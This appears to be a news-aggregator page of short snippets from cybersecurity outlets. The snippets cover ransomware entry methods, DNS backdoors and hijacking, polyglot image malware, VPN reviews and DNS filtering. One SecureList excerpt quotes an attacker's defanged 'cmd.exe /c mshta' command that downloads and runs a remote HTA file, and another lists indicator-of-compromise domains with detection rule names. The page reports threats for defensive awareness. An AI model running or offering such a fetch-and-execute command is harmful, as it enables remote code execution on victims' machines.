eSecurity Planet

JULY 27, 2025

How Interlock gains entry The FBI described Interlock’s initial tactics as “uncommon” among ransomware groups , citing drive-by downloads from compromised but otherwise legitimate websites. They also use PowerShell scripts to download credential-stealing malware, such as cht.exe and klg.dll, which capture usernames, passwords, and keystrokes.

Healthcare

Security Affairs

JULY 30, 2025

“Over the course of three days, a threat actor gained access to the customer’s network, attempted to download several suspicious files and communicated with malicious infrastructure linked to Auto-Color malware.” ” reads the report published by Darktrace.

Malware

DoublePulsar

DECEMBER 27, 2024

Indicators of Compromise Payload downloads gateway.storjshare.io link.storjshare.io in TLSSNI) ET INFO Commonly Actor Abused Online Service Domain (storjshare.io) ET INFO Observed Commonly Actor Abused Online Service Domain (storjshare.io

Hacking

Security Boulevard

APRIL 8, 2025

DNS Tampering, Trusted IP misuse and Redirection: Redirection and tampering of DNS: DNS and trusted host or IP tampering and redirection can be used to redirect users to malicious websites or to disrupt network traffic. Download How Cybercriminals Are Using AI: Exploring the New Threat Landscape White Paper.

Cybersecurity

Zero Day

JUNE 26, 2025

The malware comes from legitimate-looking downloads, including messaging apps, crypto trading apps, modded TikTok clones, fake online cryptocurrency stores, gambling apps, adult-themed games, and casino apps. While writing the phrase down is optimal, many people take a screenshot to remember it later.

Password Management

BH Consulting

JUNE 30, 2025

The full 76-page report is available to download. DNS4EU provides a protective, privacy-compliant and resilient infrastructure for resolving DNS lookups. “Cybersecurity is not just a technological issue, it’s a strategic economic opportunity,” said Cyber Ireland’s cluster manager Eoin Byrne. tech giants like Google and Cloudflare.

Scams

SecureList

JULY 21, 2025

To do this, they executed the following command to download from an external resource a malicious HTA file containing an embedded JavaScript script and run this file: "cmd.exe" /c mshta hxxp[:]//github.githubassets[.]net/okaqbfk867hmx2tvqxhc8zyq9fy694gf/hta At the time of our investigation, a harmless script was being downloaded from github[.]githubassets[.]net

Energy and Utilities

NetSpi Technical

JANUARY 8, 2025

A more immediate option would be to use a common protocol (HTTP, DNS, etc.) Use the Portal edit function (or download, modify, and re-upload the file) to edit the notebook a. There is standard output that might get written back to the notebook, but having to check that can be tedious. to do your data exfiltration.

Accountability

Penetration Testing

JUNE 9, 2025

Key tactics included: Obfuscation using ScatterBrain and ScatterBee Use of DLL hijacking DNS-over-HTTPS (DoH) for C2 communication Exploitation of vulnerable enterprise infrastructure (e.g., These implants exfiltrated sensitive files such as certificates and cryptocurrency keys via a custom PowerShell exfiltration script.

Penetration Testing

Zero Day

JULY 29, 2025

We saw an average 15% dip in download speeds from multiple server locations. This acts as leak protection, blocking third parties from seeing your DNS requests and monitoring your activities.  My IP address, DNS, and WebRTC requests weren't exposed on any site.   NordVPN isn't an exception to this rule.

VPN

Duo's Security Blog

JULY 28, 2025

Data Loss Prevention : Apply browser-level data security policies such as watermarking, screenshot protection, URL filtering, upload, download, copy-paste and print restrictions based on sensitivity of data to your Duo-protected SaaS apps.

DNS

Zero Day

JUNE 27, 2025

One way they do this is by closely monitoring your IP address and DNS requests, or through web trackers.   I did my own tests, switching between random servers while also monitoring my IPv4/IPv6 addresses and DNS information. This is why it's crucial to ensure the VPN you're using isn't leaking sensitive data. 

VPN

Zero Day

JUNE 10, 2025

I could stream movies, play online games, and download large files simultaneously without experiencing a significant slowdown. Just to name a few, you have Safe Browsing to protect you from malware online, DNS (domain name system) encryption to cover your digital footprint, plus an ad blocker. Online security is another large aspect.

Password Management

Zero Day

JULY 30, 2025

It was fact-checked and thoroughly updated on July 23, 2025. Looking for the next best product? Get expert reviews and editor favorites with  ZDNET Recommends.

Artificial Intelligence

Zero Day

JUNE 13, 2025

View at IPRoyal Also: How to turn on Android's Private DNS Mode - and why your security depends on it Best proxy service for data tasks Oxylabs Oxylabs is an interesting and popular proxy server service, especially if you want to use a proxy for data-related tasks or scraping. You can also look up the company on Trustpilot.

Password Management

Zero Day

JULY 31, 2025

Scroll down to "Cleanup recommendations"  This will bring up temporary files in your Downloads folder and the Recycle Bin. Before you do, ensure you don't need anything in your Downloads folder, as it could contain necessary files.  Nuking these files can free up several GB of disk space. Here's how: 1.

Energy and Utilities

Security Affairs

JULY 25, 2025

Attackers exploit a misconfigured server to drop backdoors and download two JPEG polyglot files via shortened URLs. Only the last bytes are downloaded and executed, making it a sneaky form of polyglot abuse. Aquasec researchers reported that the malicious code uses rootkits and polyglot image file abuse to evade detection.

Malware

Zero Day

JUNE 30, 2025

I could stream movies, play online games, and download large files simultaneously without experiencing a significant slowdown. Just to name a few, you have Safe Browsing to protect you from malware online, DNS (domain name system) encryption to cover your digital footprint, plus an ad blocker. Online security is another large aspect.

Password Management

Zero Day

JUNE 24, 2025

  You can download the app for iOS and Android.  Geared toward creators, professionals, and educators, the app lets users generate voiceovers and other AI-powered audio in 70 languages directly from their phones "in seconds," the company said in an X thread.   Want more stories about AI? 

Artificial Intelligence

Zero Day

JULY 30, 2025

Also: How to turn on Android's Private DNS mode - and why turning it off is a big mistake And that, my Android-loving friends, is all there is to Notification Cooldown. Enjoy that newfound peace. Get the morning's top stories in your inbox each day with our Tech Today newsletter.

Artificial Intelligence

Krebs on Security

FEBRUARY 18, 2019

” The DNS part of that moniker refers to the global “ D omain N ame S ystem ,” which serves as a kind of phone book for the Internet by translating human-friendly Web site names (example.com) into numeric Internet address that are easier for computers to manage. PASSIVE DNS.

DNS

Zero Day

JULY 6, 2025

How it works is fairly straightforward: You download and open the AAWireless companion app (should you want to make any modifications or update the software), plug the adapter into your car via USB-A, long-press its multifunctional button to initiate pairing mode, and then connect to it on your phone screen.

Wireless

Zero Day

JULY 11, 2025

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Wireless

Security Affairs

MARCH 17, 2022

Researchers uncovered a new Linux botnet, tracked as B1txor20, that exploits the Log4J vulnerability and DNS tunnel. “In short, B1txor20 is a Backdoor for the Linux platform, which uses DNS Tunnel technology to build C2 communication channels. In this way, Bot and C2 achieve communication with the help of DNS protocol.”

DNS

Security Affairs

JUNE 11, 2022

Iran-linked Lyceum APT group uses a new.NET-based DNS backdoor to target organizations in the energy and telecommunication sectors. The Iran-linked Lyceum APT group, aka Hexane or Spilrin, used a new.NET-based DNS backdoor in a campaign aimed at companies in the energy and telecommunication sectors, ZScaler researchers warn.

DNS

SecureList

JANUARY 19, 2023

Kaspersky has been investigating the actor’s activity throughout 2022, and we observed a DNS changer function used for getting into Wi-Fi routers and undertaking DNS hijacking. At that time, the criminals compromised Wi-Fi routers for use in DNS hijacking, which is a very effective technique. Agent.eq (a.k.a

DNS

eSecurity Planet

DECEMBER 8, 2023

Domain name service (DNS) attacks threaten every internet connection because they can deny, intercept, and hijack connections. With the internet playing an increasing role in business, securing DNS plays a critical role in both operations and security. Everything You Need to Know.

DNS

Malwarebytes

JUNE 1, 2022

That’s where DNS filtering comes in. But first, DNS in a nutshell. So normally, every time your customer types in your web address, their computer makes a request to a DNS server. The DNS server, in turn, tells the computer where to go. But which web-based cyberthreats in particular does DNS filtering stop, you ask?

DNS

Security Boulevard

JUNE 9, 2022

Key Features of this attack: The new malware is a.NET based DNS Backdoor which is a customized version of the open source tool “DIG.net”. The malware leverages a DNS attack technique called "DNS Hijacking" in which an attacker- controlled DNS server manipulates the response of DNS queries and resolve them as per their malicious requirements.

DNS

Krebs on Security

FEBRUARY 9, 2021

A key concern for enterprises is another critical bug in the DNS server on Windows Server 2008 through 2019 versions that could be used to remotely install software of the attacker’s choice. Chrome downloads security updates automatically, but users still need to restart the browser for the updates to fully take effect.

DNS

Security Boulevard

MAY 20, 2022

What Is DNS Spoofing and How Is It Prevented? What Is the DNS and DNS Server? . To fully understand DNS spoofing, it’s important to understand DNS and DNS servers. The DNS “domain name system” is then what translates the domain name into the right IP address. What Is DNS Spoofing? .

DNS

The Hacker News

MARCH 16, 2022

A previously undocumented backdoor has been observed targeting Linux systems with the goal of corralling the machines into a botnet and acting as a conduit for downloading and installing rootkits.

DNS

Malwarebytes

AUGUST 18, 2022

With Malwarebytes DNS filtering , however, you can prevent a large swath of phishing attacks. Our DNS filtering module extends our Nebula platform to help prevent risks introduced from nefarious websites and downloadable web content. How to block phishing domains with DNS filtering. Photo credits: Phishing.org.

DNS

Krebs on Security

AUGUST 23, 2024

A core part of the way these things find each other involves a Windows feature called “ DNS name devolution ,” a kind of network shorthand that makes it easier to find other computers or servers without having to specify a full, legitimate domain name for those resources. ” Caturegli said setting up an email server record for memrtcc.ad

DNS

Security Affairs

AUGUST 20, 2024

The most notable feature of the backdoor is that it relies on DNS tunnelling to communicate with a C2 server. ” The code used by Msupedge for the DNS tunneling tool is based on the publicly available dnscat2 tool. . ” The code used by Msupedge for the DNS tunneling tool is based on the publicly available dnscat2 tool.

DNS

Security Affairs

APRIL 24, 2024

The researchers noticed that the downloaded package file is replaced with a malware-laced one on the wire because the process doesn’t use an HTTPS connection. dlz is downloaded and unpacked by eScan updater The contents of the package contain a malicious DLL (usually called version.dll ) that is sideloaded by eScan.

Antivirus

Security Boulevard

AUGUST 6, 2024

Threat Intelligence Report Date: August 6, 2024 Prepared by: David Brunsdon, Threat Intelligence - Security Engineer, HYAS Dynamic DNS (DDNS) is a service that automatically updates the Domain Name System (DNS) in real-time to reflect changes in the IP addresses of a domain.

DNS